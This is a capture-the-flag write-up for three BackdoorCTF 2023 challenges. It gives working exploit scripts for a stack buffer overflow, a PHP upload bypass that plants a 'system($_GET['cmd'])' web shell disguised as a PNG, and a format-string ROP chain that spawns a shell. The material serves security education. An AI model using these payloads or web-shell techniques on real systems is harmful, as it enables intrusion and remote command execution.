BackdoorCTF 2023
pwn/Marks
The Challenge
1
2
3
4
5
Score 100/100 to pass this exam
Attachments: marks.zip
nc 34.70.212.151 8004
The Solution
Here’s what happens when we run the binary
1
2
3
4
5
6
7
8
9
10
11
12
$ ./chal
Enter your details to view your marks ...
Roll Number : 1
Name : VulnX
Please Wait ...
You got 20 marks out of 100
Any Comments ?
gimme_the_flag!!
Thanks !
Next time get 100/100 marks for shell :)
$
On reverse engineering the main() function we find out that the program does the following:
- Gives us a prompt and stores our roll number and name into local variables on the stack
- Sleeps for 1s
- Assigns a random number to
marks
variable and prints it out to the console. - It prompts us for
comments
(if any) and stores our input into a 64 byte buffer on the stack. - Then it compares the
marks
and if it is 100, then we get a shell, otherwise it rejects and exits.
Since it uses scanf
for input, its pretty clear that we have a buffer overflow vulnerability.
Since marks
is calculated before the comments
is stored, we can use buffer overflow vulnerability to overwrite marks
and insert 100 ( or 0x64 ) in that place.
All we need to do is precisely find out how many bytes will we need to overwrite stuff into the marks
variable. To do that let’s open the program in GDB and set a breakpoint at main+310
and give our binary a cyclic pattern
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ gdb ./chal -q
Reading symbols from ./chal...
(No debugging symbols found in ./chal)
gdb-peda$ break * main+310
Breakpoint 1 at 0x1404
gdb-peda$ run
Starting program: /home/vulnx/Games/CTFs/BackdoorCTF/Beginner/Marks/chal
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Enter your details to view your marks ...
Roll Number : 1
Name : VulnX
Please Wait ...
You got 22 marks out of 100
Any Comments ?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Thanks !
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x61616172 ('raaa')
RBX: 0x7fffffffe6e8 --> 0x7fffffffe9d3 ("/home/vulnx/Games/CTFs/BackdoorCTF/Beginner/Marks/chal")
RCX: 0x7ffff7d00aa4 (<write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x7ffff7e3b643 --> 0xe3c710000000000a
RDI: 0x7ffff7e3c710 --> 0x0
RBP: 0x7fffffffe5d0 ("uaaavaaawaaaxaaayaaa")
RSP: 0x7fffffffe560 --> 0x586e6c7556 ('VulnX')
RIP: 0x555555555404 (<main+310>: cmp eax,0x64)
R8 : 0x1
R9 : 0xa ('\n')
R10: 0xffffffffffffffff
R11: 0x202
R12: 0x0
R13: 0x7fffffffe6f8 --> 0x7fffffffea0a ("ALACRITTY_LOG=/tmp/Alacritty-2578215.log")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
R15: 0x555555557d78 --> 0x555555555220 (<__do_global_dtors_aux>: endbr64)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555553f9 <main+299>: mov rdi,rax
0x5555555553fc <main+302>: call 0x5555555550e0 <puts@plt>
0x555555555401 <main+307>: mov eax,DWORD PTR [rbp-0xc]
=> 0x555555555404 <main+310>: cmp eax,0x64
0x555555555407 <main+313>: je 0x55555555541a <main+332>
0x555555555409 <main+315>: lea rax,[rip+0xc88] # 0x555555556098
0x555555555410 <main+322>: mov rdi,rax
0x555555555413 <main+325>: call 0x5555555550e0 <puts@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe560 --> 0x586e6c7556 ('VulnX')
0008| 0x7fffffffe568 --> 0x60000000a
0016| 0x7fffffffe570 --> 0x900000
0024| 0x7fffffffe578 --> 0x0
0032| 0x7fffffffe580 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0040| 0x7fffffffe588 ("caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0048| 0x7fffffffe590 ("eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0056| 0x7fffffffe598 ("gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000555555555404 in main ()
gdb-peda$
I generated that
aaaa...
pattern by using$ cyclic 100
You can clearly see that the current instruction => 0x555555555404 <main+310>: cmp eax,0x64
is comparing the value in register eax with 0x64 ( or 100, in decimal ). This was supposed to store the marks
variable but since our comments
were 100 bytes instead of the allocated 64 bytes, the rest of the data got overwritten into nearby locations on the stack, one of them happens to be marks
. The eax register holds the value for marks
and is currently loaded with the value RAX: 0x61616172 ('raaa')
proving that 0x61616172 is overwritten. Let’s use this value to calculate the offset.
1
2
$ cyclic -l 0x61616172
68
So anything after the first 64 bytes will be written over marks
. Let’s create an exploit script with this information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = remote('34.70.212.151', 8004)
p.sendlineafter(b'Roll Number : ', b'1')
p.sendlineafter(b'Name : ', b'VulnX')
offset = 68
payload = b''
payload += b'A' * offset
payload += b'\x64'
p.sendlineafter(b'Any Comments ?\n', payload)
p.clean()
p.interactive()
and let’s give it a go
1
2
3
4
5
6
7
8
9
10
> python get_flag.py
[+] Opening connection to 34.70.212.151 on port 8004: Done
[*] Switching to interactive mode
Thanks !
Cool ! Here is your shell !
$ ls
chal
flag.txt
$ cat flag.txt
flag{Y0u_ju57_0v3rfl0wed_y0ur_m4rk5}
FLAG
flag{Y0u_ju57_0v3rfl0wed_y0ur_m4rk5}
web/php_sucks
The Challenge
1
2
3
4
5
I hate PHP, and I know you hate PHP too. So, to irritate you, here is your PHP webapp. Go play with it
http://34.132.132.69:8002/chal/upload.php
Attachment: php_sucks.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php $allowedExtensions = ["jpg", "jpeg", "png"];
$errorMsg = "";
if (
$_SERVER["REQUEST_METHOD"] === "POST" &&
isset($_FILES["file"]) &&
isset($_POST["name"])
) {
$userName = $_POST["name"];
$uploadDir = "uploaded/" . generateHashedDirectory($userName) . "/";
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0750, true);
}
$uploadedFile = $_FILES["file"];
$fileName = $uploadedFile["name"];
$fileTmpName = $uploadedFile["tmp_name"];
$fileError = $uploadedFile["error"];
$fileSize = $uploadedFile["size"];
$fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
if (in_array($fileExt, $allowedExtensions) && $fileSize < 200000) {
$fileName = urldecode($fileName);
$fileInfo = finfo_open(FILEINFO_MIME_TYPE);
$fileMimeType = finfo_file($fileInfo, $fileTmpName);
finfo_close($fileInfo);
$allowedMimeTypes = ["image/jpeg", "image/jpg", "image/png"];
$fileName = strtok($fileName, chr(7841151584512418084));
if (in_array($fileMimeType, $allowedMimeTypes)) {
if ($fileError === UPLOAD_ERR_OK) {
if (move_uploaded_file($fileTmpName, $uploadDir . $fileName)) {
chmod($uploadDir . $fileName, 0440);
echo "File uploaded successfully. <a href='$uploadDir$fileName' target='_blank'>Open File</a>";
} else {
$errorMsg = "Error moving the uploaded file.";
}
} else {
$errorMsg = "File upload failed with error code: $fileError";
}
} else {
$errorMsg = "Don't try to fool me, this is not a png file";
}
} else {
$errorMsg =
"File size should be less than 200KB, and only png, jpeg, and jpg are allowed";
}
}
function generateHashedDirectory($userName)
{
$randomSalt = bin2hex(random_bytes(16));
$hashedDirectory = hash("sha256", $userName . $randomSalt);
return $hashedDirectory;
} ?>
...
The Solution
The only thing that comes to my mind after reading the source code is LFI to RCE vuln. But the question is how?
The backend implementation seems pretty secure since it checks:
- The file extension from the
$allowedExtensions = ["jpg", "jpeg", "png"]
- And also the mime type by the file headers
So the only way we can successfully upload a file on their server is to upload an actual image ( or at least the image headers ) with the file extension .jpg
, .jpeg
or .png
.
However if you take a closer look at the code, you will find a weird line $fileName = strtok($fileName, chr(7841151584512418084));
. If the above conditions are met and the image is uploaded successfully, then the $fileName
is modified just before storing it on the filesystem. But how exactly is it modified? According to the official PHP documentation:
strtok() splits a string (string) into smaller strings (tokens), with each token being delimited by any character from token. That is, if you have a string like “This is an example string” you could tokenize this string into its individual words by using the space character as the token.
Basically if you have something like strtok('This is a string', ' ')
, it will return This
, similarly the weird looking line will replace fileName
to a substring until the character 7841151584512418084. According to PHP that character is $
:
1
2
3
php > echo(chr(7841151584512418084));
$
php >
This is cool, because if we inject PHP backdoor into a PNG file and rename it as shell.php$.png
it will pass both the checks since it has PNG magic bytes and a .png
extension. Also before saving it, it should be renamed to shell.php
allowing us to successfully upload a php backdoor. Let’s test this locally:
1
2
3
php > echo(strtok('shell.php$.png', chr(7841151584512418084)));
shell.php
php >
Since it works, let’s make a simply python script to pop a pseudo-shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import re
header = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'
payload = b'<?php system($_GET["cmd"]); __halt_compiler(); ?>'
filename = 'shell.php$.png'
with open(filename, 'wb') as f:
f.write(header)
f.write(payload)
url = 'http://35.222.114.240:8002/chal/'
with requests.Session() as session:
try:
with open(filename, "rb") as file:
files = {"file": file}
data = {"name": "VulnX"} # Separate data for the "name" field
response = session.post(url + 'upload.php', files=files, data=data)
link = url + re.search("a href='(.*?)'", response.text).group(1)
while(1):
cmd = input('$ ')
response = session.get(link + '?cmd=' + requests.utils.quote(cmd))
print(response.text)
except requests.exceptions.RequestException as e:
print("Error:", e)
And obviously get the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> python solve.py
$ id
�PNG
uid=1000(ctf-player) gid=1000(ctf-player) groups=1000(ctf-player)
$ ls /var/www/html/chal
�PNG
s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt
upload.php
uploaded
$ cat /var/www/html/chal/s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt
�PNG
flag{n0t_3v3ry_t1m3_y0u_w1ll_s33_nu11byt3_vuln3r4b1l1ty_0sdfdgh554fd}
FLAG
flag{n0t_3v3ry_t1m3_y0u_w1ll_s33_nu11byt3_vuln3r4b1l1ty_0sdfdgh554fd}
pwn/Baby Formatter
This challenge was super interesting and difficult for me, however due to lack of time, I couldn’t solve it during the competition. Luckily their server was running afterwards so I pwned it a day later.
The Challenge
1
2
3
4
5
Just another format string challenge. Aren't they too easy these days :)
https://staticbckdr.infoseciitr.in/babyformatter.zip
nc 34.70.212.151 8003
The Solution
On unzipping we have the following files:
1
2
3
challenge
ld-linux-x86-64.so.2
libc.so.6
The first thing to do is run pwninit
so that it patches the binary to use the provided libc
and loader
instead of the default ones from our system, this is super helpful because after doing this we don’t need to create separate exploits for local and remote environments. After that’s done we can replace challenge_patch
with challenge
for convenience.
Upon initial inspection it seems to provide us with a menu and 3 options
- Accept you are noob ( leaks 2 memory addresses )
- Try the challenge ( gives us another prompt where we find the fmt vuln )
- Exit ( simply exits )
On further reversing and playing around we find that:
- The two values leaked via [1] are from the stack and libc ( fgets address ) respectively
- In [2], before our fmt vuln occurs, our input is passed to a filter() function where it checks for presence of the following chars in our input :
p
,u
,d
,x
. If any one of them is present, the functions exits right away andprintf(foo)
is not called.
Obviously they have attempted to filter out some of the important format specifier, but quite a lot of them are still allowed.
According to the man page of printf,
%#lX
can be used instead of%p
. Also%n
is still allowed, which enables us to do an arbitrary memory write.
At this point, since we have a fair understanding of the program, it’s a good time to run checksec
to see which attacks are feasible
1
2
3
4
5
6
7
8
9
$ checksec challenge
[*] '/home/vulnx/Games/CTFs/BackdoorCTF/pwn/Baby Formatter/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
$
I was going to opt for GOT
overwriting but since RELRO
is fully enabled, GOT
won’t be writable, so we have to think of something else. Since NX
is enabled, stack won’t be executable hence placing the shellcode on stack and redirecting RIP
to it won’t be of any help. This leaves us with Return Oriented Programming (ROP)
.
So finally here’s how I pwned this challenge
We prepare the following ROP chain
ret
( to fix stack misalignment )pop rdi ; ret
pointer to "/bin/sh"
system()
We do this by using the libc leak to calculate it’s base address at runtime ( defeating ASLR
) and subsequently use that to calculate the addresses of the above gadgets. Once we have the necessary data to prepare the payload, we write it byte-by-byte
after the saved return pointer of vuln() function ( called when [2] is choosen ). This is done deliberated so that RIP
returns back to main
and again we go to vuln
to write another byte. Hence we cannot overwrite the ret pointer until the entire ROP chain is written on the stack. The location where ROP chain starts can also be determined at runtime by using the stack leak.
I assumed that the filter
will block pwntools
fmtstr_payload
( but it turns that we could have used that ) so I used the manual method :D
A fuzzer like this can be used to not only leak values for analysis but also determine where our input lies:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
p = process('./challenge')
no_of_leaks = 20
def generate_payload(i):
end = 'AAAABBBB'
string = ''.join( '%{:02d}$#lX'.format(i) )
string += '*' * ( 28 - len(string) - len(end) )
string += end
return string.encode()
for i in range(1, no_of_leaks):
payload = generate_payload(i)
print('Sending payload : {}.....'.format(payload), end='')
p.sendline(b'2')
p.sendlineafter(b'>> ', payload)
output = p.clean()
for line in output.split(b'\n'):
if b'AAAABBBB' in line:
print(line.split(b'*')[0])
p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python fuzzer.py
[+] Starting local process './challenge': pid 3744238
Sending payload : b'%01$#lX*************AAAABBBB'.....b'>> 0X78'
Sending payload : b'%02$#lX*************AAAABBBB'.....b'0XFBAD208B'
Sending payload : b'%03$#lX*************AAAABBBB'.....b'0X7FBCBD3145F2'
Sending payload : b'%04$#lX*************AAAABBBB'.....b'0'
Sending payload : b'%05$#lX*************AAAABBBB'.....b'0'
Sending payload : b'%06$#lX*************AAAABBBB'.....b'0X2A586C2324363025'
Sending payload : b'%07$#lX*************AAAABBBB'.....b'0X2A2A2A2A2A2A2A2A'
Sending payload : b'%08$#lX*************AAAABBBB'.....b'0X414141412A2A2A2A'
Sending payload : b'%09$#lX*************AAAABBBB'.....b'0X42424242'
Sending payload : b'%10$#lX*************AAAABBBB'.....b'0X5578359BDD80'
Sending payload : b'%11$#lX*************AAAABBBB'.....b'0X92C78EE688CCF300'
Sending payload : b'%12$#lX*************AAAABBBB'.....b'0X7FFDEFEA4930'
Sending payload : b'%13$#lX*************AAAABBBB'.....b'0X5578359BB4D1'
Sending payload : b'%14$#lX*************AAAABBBB'.....b'0X200001000'
Sending payload : b'%15$#lX*************AAAABBBB'.....b'0X92C78EE688CCF300'
Sending payload : b'%16$#lX*************AAAABBBB'.....b'0X1'
Sending payload : b'%17$#lX*************AAAABBBB'.....b'0X7FBCBD229D90'
Sending payload : b'%18$#lX*************AAAABBBB'.....b'0'
Sending payload : b'%19$#lX*************AAAABBBB'.....b'0X5578359BB462'
[*] Stopped process './challenge' (pid 3744238)
Clearly our desired 8 bytes are located at 8th argument, but since it’s not aligned perfectly, the following changes can be made in the fuzzer:
1
2
3
4
5
6
...
def generate_payload(i):
end = 'AAAABBBB'
end += '****'
string = ''.join( '%{:02d}$#lX'.format(i) )
...
1
2
3
4
5
6
$ python fuzzer.py
[+] Starting local process './challenge': pid 4060707
...
Sending payload : b'%08$#lX*********AAAABBBB****'.....b'0X4242424241414141'
...
[*] Stopped process './challenge' (pid 4060707)
Much better. Now I write an exploit script but it fails because of the following two reason:
- Despite the ROP chain being on stack, the
RIP
simply returns tomain+111
and back tovuln
, so practically it never reaches our payload. - Due to some reason after every
printf
call invuln
0x00000002 was being overwritten to the higher nibble of the first gadget ( just below return pointer ). This meant that by the time the entire ROP chain is written on the stack, it is already corrupted.
To fix this I write the ROP chain further 8 bytes down. So the scene is something like this:
1
2
3
4
5
6
7
+----------------------+ <-- SAVED RET POINTER
| SAVED RET POINTER |
|----------------------| <-- (SAVED RET POINTER) + 8
| 0X00000002 overwrite |
|----------------------| <-- (SAVED RET POINTER) + 16
| ROP starts here |
| ... |
This solves problem 2 however problem 1 still persists. To solve that I decided to further complicate it by leaking another value from the program. This one is %13$#lX
, this is actually from the binary itself and can be used to calculate the base address of our binary as runtime ( defeating PIE
). The reason for doing so is that, now we have access to not only gadgets from libc but from the original binary itself. It gets important because of what we are about to do next. We use tools like ROPgadget
to search for a specific gadget ( will be explained later ).
1
2
$ ROPgadget --binary challenge | grep ": pop .* ; ret$"
0x0000000000001223 : pop rbp ; ret
Since this gadget is from the binary itself, the difference between memory addresses of main+111
and this gadget is just of two LSB, which we can overwrite in one go. To summarize, here’s our new strategy:
- Leak values from [1] and
%13$#lX
and calculate libc base, binary base - Prepare the ROP chain
- Write the ROP chain byte-by-byte at (SAVED RET POINTER) + 16.
- Do a partial overwrite at SAVED RET POINTER with 2 LSB of
pop rbp ; ret
gadget from binary.
Now let’s discuss the significance of pop * ; ret
. Since our shellcode is below the current return pointer, it would practically never be executed unless we ret
into it. However, simply calling ret
would return into (SAVED RET POINTER) + 8, where the overwritten 0x00000002 lies. For obvious reasons that will crash the program and again our payload isn’t executed. So we need to not only remove a value from the top of the stack but also return into next one. pop rbp ; ret
serves as the perfect candidate here. Once we overwrite SAVED RET POINTER our code execution will be redirected to pop rbp
, that instruction will remove the value at the top of the stack ( which happens to be 0x00000002 ), the RSP
now points to the start of our ROP chain. The subsequent ret
instruction would just go about executing it.
So finally, here’s the pwn script you have been waiting for
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
# [========== PWNTOOLS BOILERPLATE CODE ==========]
elf = ELF('./challenge')
context.binary = elf
context.log_level = 'Critical'
context(terminal=['tmux', 'split-window', '-h'])
libc = elf.libc
# p = elf.process()
p = remote('34.70.212.151', 8003)
libc = ELF('./libc.so.6')
# [========= PREPARE NECESSARY FUNCTIONS =========]
def arb_write_single(where, what):
p.sendline(b'2')
end = p64( where )
end += b'****'
payload = b''
if what != 0:
payload += ('%{}c'.format(what)).encode()
payload += b'%8$hhn'
payload += b'*' * (28 - len(payload) - len(end))
payload += end
p.sendafter(b'Enter input\n>> ', payload)
p.recvuntil(b'3. Exit\n>> ')
def arb_write_double(where, what):
p.sendline(b'2')
end = p64( where )
end += b'****'
payload = b''
if what != 0:
payload += ('%{}c'.format(what)).encode()
payload += b'%8$hn'
payload += b'*' * (28 - len(payload) - len(end))
payload += end
p.sendafter(b'Enter input\n>> ', payload)
# [============== LEAK VIA OPTION 1 ==============]
p.sendlineafter(b'>> ', b'1')
p.recvuntil(b'0x')
stack_leak = int( p.recvuntil(b' ').strip(), 16 )
libc_leak = int( p.recvline().strip(), 16 )
# [=========== LEAK VIA 13TH ARG ============]
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'%13$#lX*********AAAABBBB****')
binary_leak = int( p.recvuntil(b'*').strip()[:-1], 16 )
# [============= CALCULATE BASE ADDR =============]
libc_base = libc_leak - libc.symbols['fgets']
binary_base = binary_leak - 0x14d1
saved_ret_pointer = stack_leak + 0x18
payload_start_location = saved_ret_pointer + 16
pop_rbp_ret = binary_base + 0x0000000000001223
# [=============== PREPARE PAYLOAD ===============]
rop = ROP(libc)
payload = b''
payload += p64( libc_base + rop.find_gadget(['ret']).address )
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh\x00')) )
payload += p64( libc_base + libc.symbols['system'] )
print('Payload length : {} bytes'.format(len(payload)))
# [================ SEND PAYLOAD =================]
for i, c in enumerate(payload):
arb_write_single(payload_start_location + i , c)
print('Sending payload {:.2f}%...'.format( (i * 100) / (len(payload) - 1) ), end='\n' if i == len(payload) - 1 else '\r' )
# [============ OVERWRITE RET POINTER ============]
arb_write_double(saved_ret_pointer, pop_rbp_ret & 0xffff)
# [================= START SHELL =================]
p.clean()
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> python pwn.py
[*] '/home/vulnx/Games/CTFs/BackdoorCTF/pwn/Baby Formatter/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Payload length : 32 bytes
Sending payload 100.00%...
$ ls
chall
flag
ld-linux-x86-64.so.2
libc.so.6
$ cat flag
flag{F0rm47_5tr1ng5_4r3_7o0_3asy}
$
FLAG
flag{F0rm47_5tr1ng5_4r3_7o0_3asy}